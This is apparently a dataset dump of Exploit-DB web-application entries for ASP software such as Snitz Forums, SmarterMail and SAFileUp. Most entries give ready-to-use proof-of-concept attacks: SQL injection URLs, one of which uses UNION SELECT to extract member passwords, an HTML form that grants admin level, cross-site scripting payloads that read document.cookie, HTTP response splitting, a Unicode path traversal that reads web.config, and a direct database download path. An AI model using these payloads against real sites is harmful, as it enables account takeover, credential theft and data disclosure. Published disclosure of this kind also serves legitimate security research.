deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10504
Description: Smart ASPad - 'campaignEdit.asp?CCam' Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe:(campaignEdit.asp CCam) Blind SQL Injection Vulnerability
[~] Vendor: www.smartasp.net
[*] Software: Smart ASPad
[*] author: ((R3d-D3v!L))
[*] Date: 17.dec.2009
[*] T!ME: 3:03 am
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????



[*] Err0r C0N50L3:

[*] www.target.com/[path]/campaignEdit.asp?CCam={EV!L blind sql}


[*] EV!L BL!ND sql

[*] 7Ru3 : campaignEdit.asp?CCam=1 and 1=1

[*] f4L53: campaignEdit.asp?CCam=1 and 1=1


N073:

! 7h!/\/k u can f!nd m0r3

just let your m1nd breath ;)


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};
Exploit-DB #32297
Description: Smart Survey 1.0 - 'surveyresults.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-08-26
Author: Bug Researchers Group

Exploit:
source: https://www.securityfocus.com/bid/30841/info

Smart Survey is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Smart Survey 1.0 is vulnerable; other versions may also be affected.

http://www.example.com/surveyresults.asp?folder=/123adminxyz/SmartSurve/&title=example.com&sid=[XSS]
Exploit-DB #16955
Description: SmarterMail 7.3/7.4 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-03-10
Author: Hoyt LLC Research

Exploit:
Author: Hoyt LLC Research | http://xss.cx | http://cloudscan.me
Identified: October 28, 2010

Vendor: SmarterTools
Application: SmarterMail 7.x
Bug(s): Stored XSS, Reflected XSS, Directory Traversal, File Upload Parameters, OS Execution, XML Injection, LDAP Injection, DoS

Patch: The Vendor has released SmarterMail Version 8 at URI http://www.smartertools.com/Download.aspx?Product=SmarterMail&File=Installer&Version=8&Location=Primary

Timeline: Notify Vendor 10-28-2011 on Version 7.3 with respect to Stored XSS, other Vulns
              Vendor updates to Version 7.4 on 12.30.2010, Notify Vendor of Stored XSS, other Vulns
              Vendor updates to Version 8.0 on 3.10.2011

Publication: March 10, 2011 | Hoyt LLC Research publishes vulnerability information for SmarterMail Version 7.3 and 7.4, building on Version 7.1 and 7.2 exploits known as CVE-2010-3486 and CVE-2010-3425 at URI http://www.cloudscan.me/2011/03/smartermail-73-74-full-disclosure-xss.html.

Hoyt LLC Research | March 10, 2011

SmarterMail Versions 7.x | CWE-79: The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Stored XSS - CWE-79, CAPEC-86 - SmarterMail Version 7.x Series
Summary

Severity:  	High
Confidence:  	Certain
Host:  	http://SmarterMail 7.x.Hosts
Path:  	/Main/frmPopupContactsList.aspx
Issue detail - Confirmed in Versions 7.1, 7.2, 7.3 and 7.4

The value of the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText request parameter submitted to the URL /Main/frmContact.aspx is copied into the HTML document as plain text between tags at the URL /Main/frmPopupContactsList.aspx. The payload 9e8e5<script>alert(1)</script>5b211c9e81 was submitted in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.

Full Disclsoure - SmarterMail 7.x - Blog Posts
http://www.cloudscan.me/2011/03/smartermail-73-74-full-disclosure-xss.html
http://www.cloudscan.me/2010/09/smartermail-7x-713876-bugs-cross-site.html
http://www.cloudscan.me/2010/09/smarter-mail-7x-713876-file-fuzzing.html
http://www.cloudscan.me/2010/10/vendor-smartertoolscom-smartermail-7x_07.html
http://www.cloudscan.me/2010/10/vendor-smartertoolscom-smartermail-7x.html
http://www.cloudscan.me/2010/10/smartermail-7x-723925.html

Full Disclosure- SmarterMail 7.x - Burp Suite Pro 1.3.08 + Netsparker Audit Reports, HTML, XML Files, Screen Grabs.
http://xss.cx/examples/sm_7.2.3925_interim_report_1.htm
http://xss.cx/examples/sm_7.2.3925_interim_report_2.htm
http://xss.cx/examples/smartermail-7.2-report-interim-3.html
http://xss.cx/examples/sm-72-target.html
http://xss.cx/examples/sm_7.2.3925_stored_xss_audit_example.html
http://xss.cx/examples/sm_7.2.3925_file2_burp_1.3.08.html
Exploit-DB #16975
Description: SmarterMail 8.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2011-03-14
Author: Hoyt LLC Research

Exploit:
Author: Hoyt LLC Research
Target: SmarterMail Version 8.0.4086.25048
Tools: Burp Suite Pro 1.3.09, FuzzDB
Description: XSS, Cross Site Scripting in SmarterMail 8.0.4086.25048, CWE-79, CAPEC-86
Keywords: Stored XSS, Reflected XSS, Cross Site Scripting, SmarterMail 8.0.4086.25048, xss.cx, hoyt llc research, CWE-79, CAPEC-86, DORK
Vendor Patch: Unavailable as of 3.14.2011
Workaround: IDS/IPS Vendors may develop a solution and/or WAF Filtering for Script Tags
CVE-ID: Requested

Comments: It is our experience that SmarterTools demonstrates Best Practices and will work to resolve this Stored XSS encoded-percentage vulnerability quickly and Full Disclosure is Reported to inform the public-at-large.
Issue:	Cross-site scripting (stored) - SmarterMail 8.0.4086.25048
Severity:	High
Confidence:	Certain
Host:	http://vulnerable.smartermail.80.host:9998
Path:	/Main/frmPopupContactsList.aspx
Issue detail | Interim Report
The value of the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText request parameter submitted to the URL /Main/frmContact.aspx is copied into the HTML document as plain text between tags at the URL /Main/frmPopupContactsList.aspx. The payload Expression was submitted in the ctl00%24MPH%24wucContactInfo%24txtEmailAddress_SettingText parameter. This input was returned unmodified in a subsequent request for the URL /Main/frmPopupContactsList.aspx.
Exploit-DB #34614
Description: SmarterTools SmarterStats 5.3.3819 - 'frmHelp.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-09-09
Author: David Hoyt

Exploit:
source: https://www.securityfocus.com/bid/43110/info

SmarterTools SmarterStats is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SmarterTools SmarterStats 5.3.3819 is vulnerable; other versions may also be affected. 

https://www.example.com/UserControls/Popups/frmHelp.aspx?url='%22--%3E%3Cscript%3Ealert(0x0003DC)%3C/script%3E
Exploit-DB #26439
Description: Snitz Forum 2000 - 'post.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-10-31
Author: h4xorcrew

Exploit:
source: https://www.securityfocus.com/bid/15241/info

Snitz Forum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/post.asp?method=Topic&FORUM_ID=1&CAT_ID=1&Forum_Title=General+chat&type="><script>alert("PWND")</script>
Exploit-DB #51323
Description: Snitz Forum v1.0 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2023-04-07
Author: Emiliano Febbi

Exploit:
# Exploit Title: Snitz Forum v1.0 - Blind SQL Injection
# Date: 13/03/2023
# Exploit Author: Emiliano Febbi
# Vendor Homepage: https://forum.snitz.com/
# Software Link: https://sourceforge.net/projects/sf2k/files/
# Version: ALL VERSION
# Tested on: Windows 10 

[code]
._ _______.
*/ ///______I
) . /_(_)
/__/ *0day PoC*


http://www.site.com/forum/cal.asp?date=25/03/2023   <= SQLi ???

http://www.site.com/forum/log.asp?log_id=3456       <= Blind SQLi #!WORK!#

._________.
*/ ///______I
) . /_(_)
/__/*0day PoC End*
[/code]
Exploit-DB #4687
Description: Snitz Forums 2000 - 'Active.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-12-03
Author: BugReport.IR

Exploit:
########################## WwW.BugReport.IR #########################
#
#      AmnPardaz Security Research & Penetration Testing Group
#
# Title: A user can gain admin level in snitz 2000 by SQL Injection
# vendor: http://forum.snitz.com/
# Googling: "Powered by Snitz" > 2,440,000 victims
# Last bug report in 2007-02-16 with 4692 visitors
# Exploit: Available
# Fix Available: Update to last version.
######################## Bug Description ###########################
A user can gain admin level in the forum and can access to the forum.
It is because of a SQL Injection in "Active.asp"

After login to your VICTIM forum, execute below script
~~~~~~~~~~~Start HTML Exploit~~~~~~~~~
<form action="http://[VICTIM URL]/active.asp" method="post">
Query: <input type="text" name="BuildTime" value="',M_Level='3" /><br />
DefaultValues: <input type="text" name="AllRead" value="Y" /><br />
Submit: <input type="submit" name="submit" value="Submit" /><br />
</form>
~~~~~~~~~~~End HTML Exploit~~~~~~~~~

#####################################################################
# Security Site: WwW.BugReport.ir - WwW.AmnPardaz.Com
# Country: Iran
# Contact: admin@bugreport.ir
# Credit: Soroush Dalili found this bug.
#####################################################################

# milw0rm.com [2007-12-03]
Exploit-DB #24604
Description: Snitz Forums 2000 - 'down.asp' HTTP Response Splitting
Type: webapps
Platform: asp
Date: 2004-09-16
Author: Maestro De-Seguridad

Exploit:
source: https://www.securityfocus.com/bid/11201/info

Snitz Forums is reported prone to a HTTP response splitting vulnerability. The issue exists in a parameter of the 'down.asp' script. The issue presents itself due to a flaw in the affected script that allows an attacker to 
manipulate how GET requests are handled.

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.

POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134

location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}defaced{/html}

(replace curly braces with less than and greater than symbols)
Exploit-DB #28566
Description: Snitz Forums 2000 - 'forum.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-09-13
Author: ajann

Exploit:
source: https://www.securityfocus.com/bid/20004/info

Snitz Forums 2000 is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

This could allow an attacker to steal cookie-based authentication credentials and launch other attacks.

Version 3.4.06 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/forum.asp?FORUM_ID=1&ARCHIVE=true&sortfield=lastpost&sortorder="><script>function%20xssbaslat(){alert("Xss%20Here");}</script><body%20onload="xssbaslat()"> etc..
Exploit-DB #36585
Description: Snitz Forums 2000 - 'TOPIC_ID' SQL Injection
Type: webapps
Platform: asp
Date: 2012-01-20
Author: snup

Exploit:
source: https://www.securityfocus.com/bid/51596/info

Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/forum.asp?TOPIC_ID=[SQL]
Exploit-DB #10639
Description: Snitz Forums 2000 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-24
Author: ViRuSMaN

Exploit:
==============================================================================
                      _      _       _          _      _   _
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|


==============================================================================
        [»] ~ Note : if the path of  "snitz_forums_2000.mdb" has been changed this exploit will not work
==============================================================================
        [»] Snitz Forums 2000 Remote Database Disclosure Vulnerability
==============================================================================

    [»] Script:             [ Snitz Forums ]
    [»] Language:           [ ASP ]
    [»] Site page:          [ Snitz Forums 2000 - free ASP-based Internet Discussion Forum Software ]
    [»] Download:           [ http://forum.snitz.com/specs.asp ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & pentestlabs.com , Sec-r1z.com  ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://[target].com/[path]/snitz_forums_2000.mdb

Author: ViRuSMaN <-

###########################################################################
Exploit-DB #9856
Description: Snitz Forums 2000 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2009-10-15
Author: Andrea Fabrizi

Exploit:
**************************************************************
Application: Snitz Forums 2000
Version affected:  3.4.07
Website: http://forum.snitz.com/
Discovered By: Andrea Fabrizi
Email: andrea.fabrizi () gmail com
Web: http://www.andreafabrizi.it
Vuln: Multiple Cross-Site Scripting
**************************************************************

###### PERMANENT XSS
If [sound] tag is allowed:

[sound]http://url_to_valid_mp3_or_m3u_file.m3u";
onLoad="alert(document.cookie)[/sound]
######

###### LINK XSS
http://localhost/forum/pop_send_to_friend.asp?url=&lt;/textarea&gt;<img
src="http://www.google.it/intl/it_it/images/logo.gif"; onLoad
="alert(document.cookie)">

Note the space: onLoad<space>="alert(document.cookie)"
######
Exploit-DB #21308
Description: Snitz Forums 2000 3.0/3.1/3.3 - Image Tag Cross-Agent Scripting
Type: webapps
Platform: asp
Date: 2002-02-27
Author: Justin

Exploit:
source: https://www.securityfocus.com/bid/4192/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems.

Snitz Forums 2000 allows users to include images in forum messages using image tags, with the following syntax:

[img]url of image[/img]

It is possible to inject arbitrary script code into forum messages via these image tags. Script code will be executed in the browser of the user viewing the forum message, in the context of the website running the vulnerable software. This may allow an attacker to steal cookie-based authentication credentials. 


[img]javasCript:alert('Hello world.')[/img]
Exploit-DB #3321
Description: Snitz Forums 2000 3.1 SR4 - 'pop_profile.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-16
Author: Mehmet Ince

Exploit:
=================================X=O=R=O=N=================================

Snitz Forums 2000 Version 3.1 SR4 (pop_profile.asp) Remote SQL Injection Vulnerability

=================================X=O=R=O=N=================================

Bulan: xoron

xoron.info - xoron.biz

=================================X=O=R=O=N=================================

POC: pop_profile.asp?mode=display&id=[SQL-INJ]

=================================X=O=R=O=N=================================

Username:
pop_profile.asp?mode=display&id=1

Pass:
pop_profile.asp?mode=display&id=-1+union+all+select+0,M_PASSWORD,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+FORUM_MEMBERS

=================================X=O=R=O=N=================================

Thanx: str0ke, kacper, shika
Tesekkurler: pang0, chaos, can bjorn, DJR

=================================X=O=R=O=N================================= 

# milw0rm.com [2007-02-16]
Exploit-DB #22778
Description: Snitz Forums 2000 3.4.03 - 'search.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-06-16
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7922/info

Snitz Forums is prone to cross-site scripting attacks. This is due to insufficient sanitization of data passed to the search facility via URI parameters.

Exploitation may allow theft of cookie-based authentication credentials or other attacks.

This issue was reported in Snitz Forums 3.4.0.3, other versions might also be affected.

http://www.example.com/search.asp?Search=">&lt;script&gt;alert()&lt;/script&gt;
Exploit-DB #30993
Description: Snitz Forums 2000 3.4.5/3.4.6 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2008-01-07
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27162/info

Snitz Forums 2000 is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Snitz Forums 2000 2.4.05 and 3.4.06 are vulnerable; other versions may also be affected. 

http://www.example.com/Forums/setup.asp?RC=3&MAIL=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E http://www.example.com/login.asp?target=%22%3E%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #28857
Description: Snitz Forums 2000 3.4.6 - 'Pop_Mail.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-10-24
Author: Arham Muhammad

Exploit:
source: https://www.securityfocus.com/bid/20712/info

Snitz Forums 2000 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.4.06 is vulnerable to this issue; other versions may also be affected.

NOTE: This BID is being retired because further analysis reveals that this issue is not exploitable.

http://www.example.com/pop_mail.asp?RC=[sql]
Exploit-DB #21400
Description: Snitz Forums 2000 3.x - 'members.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2002-04-19
Author: acemi

Exploit:
source: https://www.securityfocus.com/bid/4558/info

Snitz Forums 2000 is ASP-based web forum software. It runs on Microsoft Windows operating systems. Snitz is back-ended by a database and supports Microsoft Access 97/2000, SQL Server 6.5/7.0/2000 and MySQL.

It is possible for a remote attacker to inject SQL into queries made by the members.asp script.

Depending on the database implementation used, this may possibly result in sensitive information information in the database being disclosed or may enable the attacker to modify data. There is also the possibility that this issue may be leveraged to exploit vulnerabilities that may exist in the underlying database. 

Normally, to view the members' list whose
membername start with 'A', members.asp page is
used as the following:

/members.asp?
mode=search&M_NAME=A&initial=1&method=


Use this link to view the vulnerability:

/members.asp?mode=search&M_NAME=XXXX%
25')%20UNION%20SELECT%20MEMBER_ID,%
20M_STATUS,%20M_NAME%20%2B%20'/'%20%
2B%20M_EMAIL%20%2B%20'/',%20M_LEVEL,%
Exploit-DB #3046
Description: SoftArtisans SAFileUp 5.0.14 - 'viewsrc.asp' Script Source Disclosure
Type: webapps
Platform: asp
Date: 2006-12-30
Author: Inge Henriksen

Exploit:
SoftArtisans FileUp viewsrc.asp remote script source disclosure exploit 

Advisory Name: SoftArtisans FileUp(TM) viewsrc.asp remote script source disclosure exploit 
Tested and Confirmed Vulerable: SoftArtisans SAFileUp(TM) 5.0.14 (Standard) 
Severity: High Type: Script 
source disclosure From where: Remote 
Discovered by: Inge Henriksen (http://ingehenriksen.blogspot.com/) 
Vendor Status: Notified Overview: 

SoftArtisans FileUp(TM) is a popular web server component for transactional uploading of files to a 
web server using a web browser. 

When installing SoftArtisans FileUp(TM) you should avoid installing the samples as viewsrc.asp can 
let remote anonymous users see script source code or configuration settings outside the 
/SAFileUpSamples virtual directory. This is accomplished by modifying the "path" query variable to 
point to files outside the designated directory. A web browser from a remote location is a 
sufficient tool to see the source code or configuration settings in plain text. 

Proof-of Concept: 

The following url would show the configuration settings for www.example.xom: 

http://www.example.xom/SAFileUpSamples/util/viewsrc.asp?path=/SAFileUpSamples/%c0%ae./%c0%ae./web.config 


The %c0%ae is Unicode for the "." character on a english language server, the url is therefore 
interpreted by the server as 
http://www.example.xom/SAFileUpSamples/util/viewsrc.asp?path=/SAFileUpSamples/../../web.config, in 
addition the unicode character avoids the security checks inside the code of viewsrc.asp which won't 
let any ".." pass through. Keep in mind that other unicode's will also work. Also note that OS'es 
with other language settings will be vulnerable to different unicodes, thus %c0%ae might not work on 
a chinese server but some other unicode's should work just as well. 

# milw0rm.com [2006-12-30]
Exploit-DB #27160
Description: SoftMaker Shop - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-02-02
Author: preben@watchcom.no

Exploit:
source: https://www.securityfocus.com/bid/16471/info

SoftMaker Shop is prone to multiple cross-site scripting vulnerabilities. These issues are due to a lack of proper sanitization of user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/shop/handle/varer/sok/resultat.asp?strSok=

%3CIMG+SRC%3Djavascript%3Aalert%28%26quot%3BXSS%26quot%3B%29%3E&valg=varer